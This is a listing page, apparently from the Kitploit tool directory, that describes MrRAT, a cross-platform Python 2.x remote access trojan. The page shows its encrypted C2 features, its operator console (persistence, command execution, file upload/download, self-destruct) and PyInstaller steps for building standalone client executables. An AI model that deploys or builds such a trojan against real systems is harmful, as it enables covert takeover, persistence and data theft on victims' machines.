Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
MrRAT — 🐭 Questo è un Remote Access Trojan (RAT) multipiattaforma in Python 2.x | Kitploit
Strumenti/GitHubGitHub/user696/mrrat
Strumenti di Crittografia/DecrittografiaMeccanismi di PersistenzaPost-ExploitCommand and ControlSviluppo PayloadTrojan di Accesso Remoto
GitHubuser696/mrrat

MrRAT

🐭 Questo è un Remote Access Trojan (RAT) multipiattaforma in Python 2.x

Vedi Repository
14119 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MrRAT

Questo è un Trojan ad accesso remoto (RAT) multipiattaforma in Python 2.x; MrRAT è stato creato per mantenere un design pulito e un RAT Python completo di funzionalità. Attualmente è un lavoro in corso e viene ancora attivamente sviluppato.

Disclaimer: questo RAT è solo a scopo di ricerca e deve essere utilizzato esclusivamente su sistemi autorizzati. Accedere a un sistema informatico o a una rete senza autorizzazione o permesso esplicito è illegale.

Caratteristiche

  • Multipiattaforma (Windows, Linux e macOS)
  • C2 cifrato con AES GCM e scambio D-H
  • Accetta connessioni da più client
  • Esecuzione di comandi
  • Caricamento/scaricamento file (un po' instabile dopo la modifica alla crittografia)
  • Utility standard (wget, unzip)
  • Indagine sul sistema

Utilizzo

root@kitploit:~
$ python MrRAT_server.py --port 1337

 /$$      /$$           /$$$$$$$   /$$$$$$  /$$$$$$$$
| $$$    /$$$          | $$__  $$ /$$__  $$|__  $$__/
| $$$$  /$$$$  /$$$$$$ | $$  \ $$| $$  \ $$   | $$
| $$ $$/$$ $$ /$$__  $$| $$$$$$$/| $$$$$$$$   | $$
| $$  $$$| $$| $$  \__/| $$__  $$| $$__  $$   | $$
| $$\  $ | $$| $$      | $$  \ $$| $$  | $$   | $$
| $$ \/  | $$| $$      | $$  | $$| $$  | $$   | $$
|__/     |__/|__/      |__/  |__/|__/  |__/   |__/

                  ,     .
                  (\,;,/)
                   (o o)\//,
                    \ /     \,
                    `+'(  (   \    )
                       //  \   |_./
                     '~' '~----'
        https://github.com/user696/MrRAT

MrRAT server listening for connections on port 1337.

[?] MrRAT> help

client <id>         - Connect to a client.
clients             - List connected clients.
download <files>    - Download file(s).
execute <command>   - Execute a command on the target.
help                - Show this help menu.
kill                - Kill the client connection.
persistence         - Apply persistence mechanism.
quit                - Exit the server and end all client connections.
scan <ip>           - Scan top 25 ports on a single host.
selfdestruct        - Remove all traces of the RAT from the target system.
survey              - Run a system survey.
unzip <file>        - Unzip a file.
upload <files>      - Upload files(s).
wget <url>          - Download a file from the web.

[?] MrRAT> clients
ID - Client Address
 1 - 127.0.0.1

[?] MrRAT> client 1

[1] MrRAT> execute uname -a
Linux sandbox3 4.8.13-1-ARCH #1 SMP PREEMPT Fri Dec 9 07:24:34 CET 2016 x86_64 GNU/Linux

Compilare un eseguibile autonomo

Tieni presente che prima di compilare dovrai probabilmente modificare sia le variabili HOST che PORT situate all'inizio di MrRAT_client.py per adattarle alle tue esigenze.

Su Linux avrai bisogno di Python 2.x, PyInstaller e pycrypto. Quindi esegui qualcosa come pyinstaller2 --onefile MrRAT_client.py e dovrebbe generare una cartella dist/ che contiene un eseguibile ELF autonomo.

Su Windows avrai bisogno di Python 2.x, PyInstaller, pycrypto, pywin32 e pefile. Quindi esegui qualcosa come C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile MrRAT_client.py e dovrebbe generare una cartella dist/ che contiene un eseguibile PE (portable executable) autonomo.

Scarica lo strumento